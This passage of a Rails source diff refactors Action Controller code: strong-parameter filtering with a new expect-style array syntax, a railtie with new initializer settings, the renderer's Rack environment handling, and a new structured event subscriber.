+        case object
+        when Hash
+          object.keys.each do |key|
+            value = object.delete(key)
+            object[yield(key)] = _deep_transform_keys_in_object!(value, &block)
+          end
+          object
         when Parameters
-          if object.fields_for_style?
-            hash = object.class.new
-            object.each { |k, v| hash[k] = yield v }
-            hash
+          if object.permitted?
+            object.to_h.deep_transform_keys!(&block)
           else
-            yield object
+            object.to_unsafe_h.deep_transform_keys!(&block)
           end
+        when Array
+          object.map! { |e| _deep_transform_keys_in_object!(e, &block) }
+        else
+          object
+        end
+      end
+
+      def specify_numeric_keys?(filter)
+        if filter.respond_to?(:keys)
+          filter.keys.any? { |key| /\A-?\d+\z/.match?(key) }
         end
       end
 
-      def unpermitted_parameters!(params)
+      # When an array is expected, you must specify an array explicitly
+      # using the following format:
+      #
+      #     params.expect(comments: [[:flavor]])
+      #
+      # Which will match only the following array formats:
+      #
+      #     { pies: [{ flavor: "rhubarb" }, { flavor: "apple" }] }
+      #     { pies: { "0" => { flavor: "key lime" }, "1" =>  { flavor: "mince" } } }
+      #
+      # When using `permit`, arrays are specified the same way as hashes:
+      #
+      #     params.expect(pies: [:flavor])
+      #
+      # In this case, `permit` would also allow matching with a hash (or vice versa):
+      #
+      #     { pies: { flavor: "cherry" } }
+      #
+      def array_filter?(filter)
+        filter.is_a?(Array) && filter.size == 1 && filter.first.is_a?(Array)
+      end
+
+      # Called when an explicit array filter is encountered.
+      def each_array_element(object, filter, &block)
+        case object
+        when Array
+          object.grep(Parameters).filter_map(&block)
+        when Parameters
+          if object.nested_attributes? && !specify_numeric_keys?(filter)
+            object.each_nested_attribute(&block)
+          end
+        end
+      end
+
+      def unpermitted_parameters!(params, on_unpermitted: self.class.action_on_unpermitted_parameters)
+        return unless on_unpermitted
         unpermitted_keys = unpermitted_keys(params)
         if unpermitted_keys.any?
-          case self.class.action_on_unpermitted_parameters
+          case on_unpermitted
           when :log
             name = "unpermitted_parameters.action_controller"
-            ActiveSupport::Notifications.instrument(name, keys: unpermitted_keys)
+            ActiveSupport::Notifications.instrument(name, keys: unpermitted_keys, context: @logging_context)
           when :raise
             raise ActionController::UnpermittedParameters.new(unpermitted_keys)
           end
@@ -721,17 +1291,14 @@ def unpermitted_keys(params)
         keys - params.keys - always_permitted_parameters
       end
 
+      # This is a list of permitted scalar types that includes the ones supported in
+      # XML and JSON requests.
       #
-      # --- Filtering ----------------------------------------------------------
-      #
-
-      # This is a white list of permitted scalar types that includes the ones
-      # supported in XML and JSON requests.
-      #
-      # This list is in particular used to filter ordinary requests, String goes
-      # as first element to quickly short-circuit the common case.
+      # This list is in particular used to filter ordinary requests, String goes as
+      # first element to quickly short-circuit the common case.
       #
-      # If you modify this collection please update the API of +permit+ above.
+      # If you modify this collection please update the one in the #permit doc as
+      # well.
       PERMITTED_SCALAR_TYPES = [
         String,
         Symbol,
@@ -752,21 +1319,28 @@ def permitted_scalar?(value)
         PERMITTED_SCALAR_TYPES.any? { |type| value.is_a?(type) }
       end
 
-      def permitted_scalar_filter(params, key)
-        if has_key?(key) && permitted_scalar?(self[key])
-          params[key] = self[key]
-        end
+      # Adds existing keys to the params if their values are scalar.
+      #
+      # For example:
+      #
+      #     puts self.keys #=> ["zipcode(90210i)"]
+      #     params = {}
+      #
+      #     permitted_scalar_filter(params, "zipcode")
+      #
+      #     puts params.keys # => ["zipcode"]
+      def permitted_scalar_filter(params, permitted_key)
+        permitted_key = permitted_key.to_s
 
-        keys.grep(/\A#{Regexp.escape(key)}\(\d+[if]?\)\z/) do |k|
-          if permitted_scalar?(self[k])
-            params[k] = self[k]
-          end
+        if has_key?(permitted_key) && permitted_scalar?(self[permitted_key])
+          params[permitted_key] = self[permitted_key]
         end
-      end
 
-      def array_of_permitted_scalars?(value)
-        if value.is_a?(Array) && value.all? { |element| permitted_scalar?(element) }
-          yield value
+        each_key do |key|
+          next unless key =~ /\(\d+[if]?\)\z/
+          next unless $~.pre_match == permitted_key
+
+          params[key] = self[key] if permitted_scalar?(self[key])
         end
       end
 
@@ -774,35 +1348,59 @@ def non_scalar?(value)
         value.is_a?(Array) || value.is_a?(Parameters)
       end
 
-      EMPTY_ARRAY = []
-      EMPTY_HASH  = {}
-      def hash_filter(params, filter)
+      EMPTY_ARRAY = [] # :nodoc:
+      EMPTY_HASH  = {} # :nodoc:
+      def hash_filter(params, filter, on_unpermitted: self.class.action_on_unpermitted_parameters, explicit_arrays: false)
         filter = filter.with_indifferent_access
 
         # Slicing filters out non-declared keys.
         slice(*filter.keys).each do |key, value|
           next unless value
           next unless has_key? key
+          result = permit_value(value, filter[key], on_unpermitted:, explicit_arrays:)
+          params[key] = result unless result.nil?
+        end
+      end
 
-          if filter[key] == EMPTY_ARRAY
-            # Declaration { comment_ids: [] }.
-            array_of_permitted_scalars?(self[key]) do |val|
-              params[key] = val
-            end
-          elsif filter[key] == EMPTY_HASH
-            # Declaration { preferences: {} }.
-            if value.is_a?(Parameters)
-              params[key] = permit_any_in_parameters(value)
-            end
-          elsif non_scalar?(value)
-            # Declaration { user: :name } or { user: [:name, :age, { address: ... }] }.
-            params[key] = each_element(value) do |element|
-              element.permit(*Array.wrap(filter[key]))
-            end
-          end
+      def permit_value(value, filter, on_unpermitted:,  explicit_arrays:)
+        if filter == EMPTY_ARRAY # Declaration { comment_ids: [] }.
+          permit_array_of_scalars(value)
+        elsif filter == EMPTY_HASH # Declaration { preferences: {} }.
+          permit_hash(value, filter, on_unpermitted:, explicit_arrays:)
+        elsif array_filter?(filter) # Declaration { comments: [[:text]] }
+          permit_array_of_hashes(value, filter.first, on_unpermitted:, explicit_arrays:)
+        elsif explicit_arrays # Declaration { user: { address: ... } } or { user: [:name, ...] } (only allows hash value)
+          permit_hash(value, filter, on_unpermitted:, explicit_arrays:)
+        elsif non_scalar?(value) # Declaration { user: { address: ... } } or { user: [:name, ...] }
+          permit_hash_or_array(value, filter, on_unpermitted:, explicit_arrays:)
         end
       end
 
+      def permit_array_of_scalars(value)
+        value if value.is_a?(Array) && value.all? { |element| permitted_scalar?(element) }
+      end
+
+      def permit_array_of_hashes(value, filter, on_unpermitted:, explicit_arrays:)
+        each_array_element(value, filter) do |element|
+          element.permit_filters(Array.wrap(filter), on_unpermitted:, explicit_arrays:)
+        end
+      end
+
+      def permit_hash(value, filter, on_unpermitted:, explicit_arrays:)
+        return unless value.is_a?(Parameters)
+
+        if filter == EMPTY_HASH
+          permit_any_in_parameters(value)
+        else
+          value.permit_filters(Array.wrap(filter), on_unpermitted:, explicit_arrays:)
+        end
+      end
+
+      def permit_hash_or_array(value, filter, on_unpermitted:, explicit_arrays:)
+        permit_array_of_hashes(value, filter, on_unpermitted:, explicit_arrays:) ||
+          permit_hash(value, filter, on_unpermitted:, explicit_arrays:)
+      end
+
       def permit_any_in_parameters(params)
         self.class.new.tap do |sanitized|
           params.each do |key, value|
@@ -826,6 +1424,8 @@ def permit_any_in_array(array)
             case element
             when ->(e) { permitted_scalar?(e) }
               sanitized << element
+            when Array
+              sanitized << permit_any_in_array(element)
             when Parameters
               sanitized << permit_any_in_parameters(element)
             else
@@ -841,87 +1441,92 @@ def initialize_copy(source)
       end
   end
 
-  # == Strong \Parameters
+  # # Strong Parameters
   #
-  # It provides an interface for protecting attributes from end-user
-  # assignment. This makes Action Controller parameters forbidden
-  # to be used in Active Model mass assignment until they have been
-  # whitelisted.
+  # It provides an interface for protecting attributes from end-user assignment.
+  # This makes Action Controller parameters forbidden to be used in Active Model
+  # mass assignment until they have been explicitly enumerated.
   #
   # In addition, parameters can be marked as required and flow through a
-  # predefined raise/rescue flow to end up as a 400 Bad Request with no
-  # effort.
-  #
-  #   class PeopleController < ActionController::Base
-  #     # Using "Person.create(params[:person])" would raise an
-  #     # ActiveModel::ForbiddenAttributesError exception because it'd
-  #     # be using mass assignment without an explicit permit step.
-  #     # This is the recommended form:
-  #     def create
-  #       Person.create(person_params)
-  #     end
+  # predefined raise/rescue flow to end up as a `400 Bad Request` with no effort.
   #
-  #     # This will pass with flying colors as long as there's a person key in the
-  #     # parameters, otherwise it'll raise an ActionController::MissingParameter
-  #     # exception, which will get caught by ActionController::Base and turned
-  #     # into a 400 Bad Request reply.
-  #     def update
-  #       redirect_to current_account.people.find(params[:id]).tap { |person|
-  #         person.update!(person_params)
-  #       }
-  #     end
+  #     class PeopleController < ActionController::Base
+  #       # Using "Person.create(params[:person])" would raise an
+  #       # ActiveModel::ForbiddenAttributesError exception because it'd
+  #       # be using mass assignment without an explicit permit step.
+  #       # This is the recommended form:
+  #       def create
+  #         Person.create(person_params)
+  #       end
   #
-  #     private
-  #       # Using a private method to encapsulate the permissible parameters is
-  #       # just a good pattern since you'll be able to reuse the same permit
-  #       # list between create and update. Also, you can specialize this method
-  #       # with per-user checking of permissible attributes.
-  #       def person_params
-  #         params.require(:person).permit(:name, :age)
+  #       # This will pass with flying colors as long as there's a person key in the
+  #       # parameters, otherwise it'll raise an ActionController::ParameterMissing
+  #       # exception, which will get caught by ActionController::Base and turned
+  #       # into a 400 Bad Request reply.
+  #       def update
+  #         redirect_to current_account.people.find(params[:id]).tap { |person|
+  #           person.update!(person_params)
+  #         }
   #       end
-  #   end
   #
-  # In order to use <tt>accepts_nested_attributes_for</tt> with Strong \Parameters, you
-  # will need to specify which nested attributes should be whitelisted. You might want
-  # to allow +:id+ and +:_destroy+, see ActiveRecord::NestedAttributes for more information.
+  #       private
+  #         # Using a private method to encapsulate the permissible parameters is
+  #         # a good pattern since you'll be able to reuse the same permit
+  #         # list between create and update. Also, you can specialize this method
+  #         # with per-user checking of permissible attributes.
+  #         def person_params
+  #           params.expect(person: [:name, :age])
+  #         end
+  #     end
   #
-  #   class Person
-  #     has_many :pets
-  #     accepts_nested_attributes_for :pets
-  #   end
+  # In order to use `accepts_nested_attributes_for` with Strong Parameters, you
+  # will need to specify which nested attributes should be permitted. You might
+  # want to allow `:id` and `:_destroy`, see ActiveRecord::NestedAttributes for
+  # more information.
   #
-  #   class PeopleController < ActionController::Base
-  #     def create
-  #       Person.create(person_params)
+  #     class Person
+  #       has_many :pets
+  #       accepts_nested_attributes_for :pets
   #     end
   #
-  #     ...
+  #     class PeopleController < ActionController::Base
+  #       def create
+  #         Person.create(person_params)
+  #       end
+  #
+  #       ...
   #
-  #     private
+  #       private
   #
-  #       def person_params
-  #         # It's mandatory to specify the nested attributes that should be whitelisted.
-  #         # If you use `permit` with just the key that points to the nested attributes hash,
-  #         # it will return an empty hash.
-  #         params.require(:person).permit(:name, :age, pets_attributes: [ :id, :name, :category ])
-  #       end
-  #   end
+  #         def person_params
+  #           # It's mandatory to specify the nested attributes that should be permitted.
+  #           # If you use `permit` with just the key that points to the nested attributes hash,
+  #           # it will return an empty hash.
+  #           params.expect(person: [ :name, :age, pets_attributes: [ :id, :name, :category ] ])
+  #         end
+  #     end
   #
-  # See ActionController::Parameters.require and ActionController::Parameters.permit
-  # for more information.
+  # See ActionController::Parameters.expect,
+  # See ActionController::Parameters.require, and
+  # ActionController::Parameters.permit for more information.
   module StrongParameters
-    extend ActiveSupport::Concern
-    include ActiveSupport::Rescuable
-
-    # Returns a new ActionController::Parameters object that
-    # has been instantiated with the <tt>request.parameters</tt>.
+    # Returns a new ActionController::Parameters object that has been instantiated
+    # with the `request.parameters`.
     def params
-      @_params ||= Parameters.new(request.parameters)
+      @_params ||= begin
+        context = {
+          controller: self.class.name,
+          action: action_name,
+          request: request,
+          params: request.filtered_parameters
+        }
+        Parameters.new(request.parameters, context)
+      end
     end
 
-    # Assigns the given +value+ to the +params+ hash. If +value+
-    # is a Hash, this will create an ActionController::Parameters
-    # object that has been instantiated with the given +value+ hash.
+    # Assigns the given `value` to the `params` hash. If `value` is a Hash, this
+    # will create an ActionController::Parameters object that has been instantiated
+    # with the given `value` hash.
     def params=(value)
       @_params = value.is_a?(Hash) ? Parameters.new(value) : value
     end
diff --git a/actionpack/lib/action_controller/metal/testing.rb b/actionpack/lib/action_controller/metal/testing.rb
index 9bb416178a59b..125299f7514de 100644
--- a/actionpack/lib/action_controller/metal/testing.rb
+++ b/actionpack/lib/action_controller/metal/testing.rb
@@ -1,20 +1,25 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionController
   module Testing
-    extend ActiveSupport::Concern
-
     # Behavior specific to functional tests
     module Functional # :nodoc:
+      def clear_instance_variables_between_requests
+        if defined?(@_ivars)
+          new_ivars = instance_variables - @_ivars
+          new_ivars.each { |ivar| remove_instance_variable(ivar) }
+        end
+
+        @_ivars = instance_variables
+      end
+
       def recycle!
         @_url_options = nil
         self.formats = nil
         self.params = nil
       end
     end
-
-    module ClassMethods
-      def before_filters
-        _process_action_callbacks.find_all { |x| x.kind == :before }.map(&:name)
-      end
-    end
   end
 end
diff --git a/actionpack/lib/action_controller/metal/url_for.rb b/actionpack/lib/action_controller/metal/url_for.rb
index 9f3cc099d6fc9..c240399bc301e 100644
--- a/actionpack/lib/action_controller/metal/url_for.rb
+++ b/actionpack/lib/action_controller/metal/url_for.rb
@@ -1,30 +1,39 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionController
-  # Includes +url_for+ into the host class. The class has to provide a +RouteSet+ by implementing
-  # the <tt>_routes</tt> method. Otherwise, an exception will be raised.
+  # # Action Controller UrlFor
+  #
+  # Includes `url_for` into the host class. The class has to provide a `RouteSet`
+  # by implementing the `_routes` method. Otherwise, an exception will be raised.
   #
-  # In addition to <tt>AbstractController::UrlFor</tt>, this module accesses the HTTP layer to define
-  # url options like the +host+. In order to do so, this module requires the host class
-  # to implement +env+ which needs to be Rack-compatible and +request+
-  # which is either an instance of +ActionDispatch::Request+ or an object
-  # that responds to the +host+, +optional_port+, +protocol+ and
-  # +symbolized_path_parameter+ methods.
+  # In addition to AbstractController::UrlFor, this module accesses the HTTP layer
+  # to define URL options like the `host`. In order to do so, this module requires
+  # the host class to implement `env` which needs to be Rack-compatible, and
+  # `request` which returns an ActionDispatch::Request instance.
   #
-  #   class RootUrl
-  #     include ActionController::UrlFor
-  #     include Rails.application.routes.url_helpers
+  #     class RootUrl
+  #       include ActionController::UrlFor
+  #       include Rails.application.routes.url_helpers
   #
-  #     delegate :env, :request, to: :controller
+  #       delegate :env, :request, to: :controller
   #
-  #     def initialize(controller)
-  #       @controller = controller
-  #       @url        = root_path # named route from the application.
+  #       def initialize(controller)
+  #         @controller = controller
+  #         @url        = root_path # named route from the application.
+  #       end
   #     end
-  #   end
   module UrlFor
     extend ActiveSupport::Concern
 
     include AbstractController::UrlFor
 
+    def initialize(...)
+      super
+      @_url_options = nil
+    end
+
     def url_options
       @_url_options ||= {
         host: request.host,
@@ -42,7 +51,7 @@ def url_options
           options[:original_script_name] = original_script_name
         else
           if same_origin
-            options[:script_name] = request.script_name.empty? ? "".freeze : request.script_name.dup
+            options[:script_name] = request.script_name.empty? ? "" : request.script_name.dup
           else
             options[:script_name] = script_name
           end
diff --git a/actionpack/lib/action_controller/railtie.rb b/actionpack/lib/action_controller/railtie.rb
index a7cdfe6a98e2a..a545bb8ce9f07 100644
--- a/actionpack/lib/action_controller/railtie.rb
+++ b/actionpack/lib/action_controller/railtie.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "rails"
 require "action_controller"
 require "action_dispatch/railtie"
@@ -6,11 +10,21 @@
 require "action_view/railtie"
 
 module ActionController
-  class Railtie < Rails::Railtie #:nodoc:
+  class Railtie < Rails::Railtie # :nodoc:
     config.action_controller = ActiveSupport::OrderedOptions.new
+    config.action_controller.action_on_open_redirect = :log
+    config.action_controller.action_on_path_relative_redirect = :log
+    config.action_controller.log_query_tags_around_actions = true
+    config.action_controller.wrap_parameters_by_default = false
+    config.action_controller.allowed_redirect_hosts = []
 
+    config.eager_load_namespaces << AbstractController
     config.eager_load_namespaces << ActionController
 
+    initializer "action_controller.deprecator", before: :load_environment_config do |app|
+      app.deprecators[:action_controller] = ActionController.deprecator
+    end
+
     initializer "action_controller.assets_config", group: :all do |app|
       app.config.action_controller.assets_dir ||= app.config.paths["public"].first
     end
@@ -19,16 +33,27 @@ class Railtie < Rails::Railtie #:nodoc:
       ActionController::Helpers.helpers_path = app.helpers_paths
     end
 
+    initializer "action_controller.live_streaming_excluded_keys" do |app|
+      ActionController::Live.live_streaming_excluded_keys = app.config.action_controller.live_streaming_excluded_keys
+    end
+
     initializer "action_controller.parameters_config" do |app|
       options = app.config.action_controller
 
-      ActionController::Parameters.permit_all_parameters = options.delete(:permit_all_parameters) { false }
-      if app.config.action_controller[:always_permitted_parameters]
-        ActionController::Parameters.always_permitted_parameters =
-          app.config.action_controller.delete(:always_permitted_parameters)
-      end
-      ActionController::Parameters.action_on_unpermitted_parameters = options.delete(:action_on_unpermitted_parameters) do
-        (Rails.env.test? || Rails.env.development?) ? :log : false
+      ActiveSupport.on_load(:action_controller, run_once: true) do
+        ActionController::Parameters.permit_all_parameters = options.permit_all_parameters || false
+        if app.config.action_controller[:always_permitted_parameters]
+          ActionController::Parameters.always_permitted_parameters =
+            app.config.action_controller.always_permitted_parameters
+        end
+
+        action_on_unpermitted_parameters = options.action_on_unpermitted_parameters
+
+        if action_on_unpermitted_parameters.nil?
+          action_on_unpermitted_parameters = Rails.env.local? ? :log : false
+        end
+
+        ActionController::Parameters.action_on_unpermitted_parameters = action_on_unpermitted_parameters
       end
     end
 
@@ -36,13 +61,14 @@ class Railtie < Rails::Railtie #:nodoc:
       paths   = app.config.paths
       options = app.config.action_controller
 
-      options.logger      ||= Rails.logger
+      options.logger = options.fetch(:logger, Rails.logger)
+
       options.cache_store ||= Rails.cache
 
       options.javascripts_dir ||= paths["public/javascripts"].first
       options.stylesheets_dir ||= paths["public/stylesheets"].first
 
-      # Ensure readers methods get compiled
+      # Ensure readers methods get compiled.
       options.asset_host        ||= app.config.asset_host
       options.relative_url_root ||= app.config.relative_url_root
 
@@ -51,7 +77,20 @@ class Railtie < Rails::Railtie #:nodoc:
         extend ::AbstractController::Railties::RoutesHelpers.with(app.routes)
         extend ::ActionController::Railties::Helpers
 
-        options.each do |k, v|
+        wrap_parameters format: [:json] if options.wrap_parameters_by_default && respond_to?(:wrap_parameters)
+
+        # Configs used in other initializers
+        filtered_options = options.except(
+          :default_protect_from_forgery,
+          :log_query_tags_around_actions,
+          :permit_all_parameters,
+          :action_on_unpermitted_parameters,
+          :always_permitted_parameters,
+          :wrap_parameters_by_default,
+          :live_streaming_excluded_keys
+        )
+
+        filtered_options.each do |k, v|
           k = "#{k}="
           if respond_to?(k)
             send(k, v)
@@ -62,9 +101,58 @@ class Railtie < Rails::Railtie #:nodoc:
       end
     end
 
-    initializer "action_controller.compile_config_methods" do
+    initializer "action_controller.request_forgery_protection" do |app|
+      ActiveSupport.on_load(:action_controller_base) do
+        if app.config.action_controller.default_protect_from_forgery
+          protect_from_forgery with: :exception
+        end
+      end
+    end
+
+    initializer "action_controller.open_redirects" do |app|
+      ActiveSupport.on_load(:action_controller, run_once: true) do
+        if app.config.action_controller.has_key?(:raise_on_open_redirects)
+          ActiveSupport.deprecator.warn(<<~MSG.squish)
+            `raise_on_open_redirects` is deprecated and will be removed in a future Rails version.
+            Use `config.action_controller.action_on_open_redirect = :raise` instead.
+          MSG
+
+          # Fallback to the default behavior in case of `load_default` set `action_on_open_redirect`, but apps set `raise_on_open_redirects`.
+          if app.config.action_controller.raise_on_open_redirects == false && app.config.action_controller.action_on_open_redirect == :raise
+            self.action_on_open_redirect = :log
+          end
+        end
+      end
+    end
+
+    initializer "action_controller.query_log_tags" do |app|
+      query_logs_tags_enabled = app.config.respond_to?(:active_record) &&
+        app.config.active_record.query_log_tags_enabled &&
+        app.config.action_controller.log_query_tags_around_actions
+
+      if query_logs_tags_enabled
+        app.config.active_record.query_log_tags |= [:controller] unless app.config.active_record.query_log_tags.include?(:namespaced_controller)
+        app.config.active_record.query_log_tags |= [:action]
+
+        ActiveSupport.on_load(:active_record) do
+          ActiveRecord::QueryLogs.taggings = ActiveRecord::QueryLogs.taggings.merge(
+            controller:            ->(context) { context[:controller]&.controller_name },
+            action:                ->(context) { context[:controller]&.action_name },
+            namespaced_controller: ->(context) { context[:controller]&.controller_path }
+          )
+        end
+      end
+    end
+
+    initializer "action_controller.test_case" do |app|
+      ActiveSupport.on_load(:action_controller_test_case) do
+        ActionController::TestCase.executor_around_each_request = app.config.active_support.executor_around_test_case
+      end
+    end
+
+    initializer "action_controller.backtrace_cleaner" do
       ActiveSupport.on_load(:action_controller) do
-        config.compile_methods! if config.respond_to?(:compile_methods!)
+        ActionController::LogSubscriber.backtrace_cleaner = Rails.backtrace_cleaner
       end
     end
   end
diff --git a/actionpack/lib/action_controller/railties/helpers.rb b/actionpack/lib/action_controller/railties/helpers.rb
index 3985c6b273422..2ae7c87773fdf 100644
--- a/actionpack/lib/action_controller/railties/helpers.rb
+++ b/actionpack/lib/action_controller/railties/helpers.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionController
   module Railties
     module Helpers
@@ -5,7 +9,7 @@ def inherited(klass)
         super
         return unless klass.respond_to?(:helpers_path=)
 
-        if namespace = klass.parents.detect { |m| m.respond_to?(:railtie_helpers_paths) }
+        if namespace = klass.module_parents.detect { |m| m.respond_to?(:railtie_helpers_paths) }
           paths = namespace.railtie_helpers_paths
         else
           paths = ActionController::Helpers.helpers_path
diff --git a/actionpack/lib/action_controller/renderer.rb b/actionpack/lib/action_controller/renderer.rb
index acb400cd15dee..dd0f01c345b56 100644
--- a/actionpack/lib/action_controller/renderer.rb
+++ b/actionpack/lib/action_controller/renderer.rb
@@ -1,78 +1,132 @@
-require "active_support/core_ext/hash/keys"
+# frozen_string_literal: true
+
+# :markup: markdown
 
 module ActionController
-  # ActionController::Renderer allows you to render arbitrary templates
-  # without requirement of being in controller actions.
-  #
-  # You get a concrete renderer class by invoking ActionController::Base#renderer.
-  # For example,
-  #
-  #   ApplicationController.renderer
-  #
-  # It allows you to call method #render directly.
-  #
-  #   ApplicationController.renderer.render template: '...'
-  #
-  # You can use this shortcut in a controller, instead of the previous example:
-  #
-  #   ApplicationController.render template: '...'
+  # # Action Controller Renderer
   #
-  # #render allows you to use the same options that you can use when rendering in a controller.
-  # For example,
+  # ActionController::Renderer allows you to render arbitrary templates without
+  # being inside a controller action.
   #
-  #   FooController.render :action, locals: { ... }, assigns: { ... }
+  # You can get a renderer instance by calling `renderer` on a controller class:
   #
-  # The template will be rendered in a Rack environment which is accessible through
-  # ActionController::Renderer#env. You can set it up in two ways:
+  #     ApplicationController.renderer
+  #     PostsController.renderer
   #
-  # *  by changing renderer defaults, like
+  # and render a template by calling the #render method:
   #
-  #       ApplicationController.renderer.defaults # => hash with default Rack environment
+  #     ApplicationController.renderer.render template: "posts/show", assigns: { post: Post.first }
+  #     PostsController.renderer.render :show, assigns: { post: Post.first }
   #
-  # *  by initializing an instance of renderer by passing it a custom environment.
+  # As a shortcut, you can also call `render` directly on the controller class
+  # itself:
   #
-  #       ApplicationController.renderer.new(method: 'post', https: true)
+  #     ApplicationController.render template: "posts/show", assigns: { post: Post.first }
+  #     PostsController.render :show, assigns: { post: Post.first }
   #
   class Renderer
-    attr_reader :defaults, :controller
+    attr_reader :controller
 
     DEFAULTS = {
-      http_host: "example.org",
-      https: false,
       method: "get",
-      script_name: "",
       input: ""
     }.freeze
 
-    # Create a new renderer instance for a specific controller class.
-    def self.for(controller, env = {}, defaults = DEFAULTS.dup)
+    def self.normalize_env(env) # :nodoc:
+      new_env = {}
+
+      env.each_pair do |key, value|
+        case key
+        when :https
+          value = value ? "on" : "off"
+        when :method
+          value = -value.upcase
+        end
+
+        key = RACK_KEY_TRANSLATION[key] || key.to_s
+
+        new_env[key] = value
+      end
+
+      if new_env["HTTP_HOST"]
+        new_env["HTTPS"] ||= "off"
+        new_env["SCRIPT_NAME"] ||= ""
+      end
+
+      if new_env["HTTPS"]
+        new_env["rack.url_scheme"] = new_env["HTTPS"] == "on" ? "https" : "http"
+      end
+
+      new_env
+    end
+
+    # Creates a new renderer using the given controller class. See ::new.
+    def self.for(controller, env = nil, defaults = DEFAULTS)
       new(controller, env, defaults)
     end
 
-    # Create a new renderer for the same controller but with a new env.
-    def new(env = {})
-      self.class.new controller, env, defaults
+    # Creates a new renderer using the same controller, but with a new Rack env.
+    #
+    #     ApplicationController.renderer.new(method: "post")
+    #
+    def new(env = nil)
+      self.class.new controller, env, @defaults
     end
 
-    # Create a new renderer for the same controller but with new defaults.
+    # Creates a new renderer using the same controller, but with the given defaults
+    # merged on top of the previous defaults.
     def with_defaults(defaults)
-      self.class.new controller, env, self.defaults.merge(defaults)
+      self.class.new controller, @env, @defaults.merge(defaults)
     end
 
-    # Accepts a custom Rack environment to render templates in.
-    # It will be merged with the default Rack environment defined by
-    # +ActionController::Renderer::DEFAULTS+.
+    # Initializes a new Renderer.
+    #
+    # #### Parameters
+    #
+    # *   `controller` - The controller class to instantiate for rendering.
+    # *   `env` - The Rack env to use for mocking a request when rendering. Entries
+    #     can be typical Rack env keys and values, or they can be any of the
+    #     following, which will be converted appropriately:
+    #     *   `:http_host` - The HTTP host for the incoming request. Converts to
+    #         Rack's `HTTP_HOST`.
+    #     *   `:https` - Boolean indicating whether the incoming request uses HTTPS.
+    #         Converts to Rack's `HTTPS`.
+    #     *   `:method` - The HTTP method for the incoming request,
+    #         case-insensitive. Converts to Rack's `REQUEST_METHOD`.
+    #     *   `:script_name` - The portion of the incoming request's URL path that
+    #         corresponds to the application. Converts to Rack's `SCRIPT_NAME`.
+    #     *   `:input` - The input stream. Converts to Rack's `rack.input`.
+    # *   `defaults` - Default values for the Rack env. Entries are specified in the
+    #     same format as `env`. `env` will be merged on top of these values.
+    #     `defaults` will be retained when calling #new on a renderer instance.
+    #
+    #
+    # If no `http_host` is specified, the env HTTP host will be derived from the
+    # routes' `default_url_options`. In this case, the `https` boolean and the
+    # `script_name` will also be derived from `default_url_options` if they were not
+    # specified. Additionally, the `https` boolean will fall back to
+    # `Rails.application.config.force_ssl` if `default_url_options` does not specify
+    # a `protocol`.
     def initialize(controller, env, defaults)
       @controller = controller
       @defaults = defaults
-      @env = normalize_keys defaults.merge(env)
+      if env.blank? && @defaults == DEFAULTS
+        @env = DEFAULT_ENV
+      else
+        @env = normalize_env(@defaults)
+        @env.merge!(normalize_env(env)) unless env.blank?
+      end
     end
 
-    # Render templates with any options from ActionController::Base#render_to_string.
-    def render(*args)
-      raise "missing controller" unless controller
+    def defaults
+      @defaults = @defaults.dup if @defaults.frozen?
+      @defaults
+    end
 
-      request = ActionDispatch::Request.new @env
+    # Renders a template to a string, just like
+    # ActionController::Rendering#render_to_string.
+    def render(*args)
+      request = ActionDispatch::Request.new(env_for_request)
       request.routes = controller._routes
 
       instance = controller.new
@@ -80,14 +134,9 @@ def render(*args)
       instance.set_response! controller.make_response!(request)
       instance.render_to_string(*args)
     end
+    alias_method :render_to_string, :render # :nodoc:
 
     private
-      def normalize_keys(env)
-        new_env = {}
-        env.each_pair { |k, v| new_env[rack_key_for(k)] = rack_value_for(k, v) }
-        new_env
-      end
-
       RACK_KEY_TRANSLATION = {
         http_host:   "HTTP_HOST",
         https:       "HTTPS",
@@ -96,19 +145,16 @@ def normalize_keys(env)
         input:       "rack.input"
       }
 
-      IDENTITY = ->(_) { _ }
+      DEFAULT_ENV = normalize_env(DEFAULTS).freeze # :nodoc:
 
-      RACK_VALUE_TRANSLATION = {
-        https: ->(v) { v ? "on" : "off" },
-        method: ->(v) { v.upcase },
-      }
-
-      def rack_key_for(key)
-        RACK_KEY_TRANSLATION.fetch(key, key.to_s)
-      end
+      delegate :normalize_env, to: :class
 
-      def rack_value_for(key, value)
-        RACK_VALUE_TRANSLATION.fetch(key, IDENTITY).call value
+      def env_for_request
+        if @env.key?("HTTP_HOST") || controller._routes.nil?
+          @env.dup
+        else
+          controller._routes.default_env.merge(@env)
+        end
       end
   end
 end
diff --git a/actionpack/lib/action_controller/structured_event_subscriber.rb b/actionpack/lib/action_controller/structured_event_subscriber.rb
new file mode 100644
index 0000000000000..c2f8efb521c07
--- /dev/null
+++ b/actionpack/lib/action_controller/structured_event_subscriber.rb
@@ -0,0 +1,147 @@
+# frozen_string_literal: true
+
+module ActionController
+  class StructuredEventSubscriber < ActiveSupport::StructuredEventSubscriber # :nodoc:
+    INTERNAL_PARAMS = %w(controller action format _method only_path)
+
+    def start_processing(event)
+      payload = event.payload
+      params = {}
+      payload[:params].each_pair do |k, v|
+        params[k] = v unless INTERNAL_PARAMS.include?(k)
+      end
+      format = payload[:format]
+      format = format.to_s.upcase if format.is_a?(Symbol)
+      format = "*/*" if format.nil?
+
+      emit_event("action_controller.request_started",
+        controller: payload[:controller],
+        action: payload[:action],
+        format:,
+        params:,
+      )
+    end
+
+    def process_action(event)
+      payload = event.payload
+      status = payload[:status]
+
+      if status.nil? && (exception_class_name = payload[:exception]&.first)
+        status = ActionDispatch::ExceptionWrapper.status_code_for_exception(exception_class_name)
+      end
+
+      emit_event("action_controller.request_completed", {
+        controller: payload[:controller],
+        action: payload[:action],
+        status: status,
+        **additions_for(payload),
+        duration_ms: event.duration.round(2),
+        gc_time_ms: event.gc_time.round(1),
+      }.compact)
+    end
+
+    def halted_callback(event)
+      emit_event("action_controller.callback_halted", filter: event.payload[:filter])
+    end
+
+    def rescue_from_callback(event)
+      exception = event.payload[:exception]
+
+      exception_backtrace = exception.backtrace&.first
+      exception_backtrace = exception_backtrace&.delete_prefix("#{Rails.root}/") if defined?(Rails.root) && Rails.root
+
+      emit_event("action_controller.rescue_from_handled",
+        exception_class: exception.class.name,
+        exception_message: exception.message,
+        exception_backtrace:
+      )
+    end
+
+    def send_file(event)
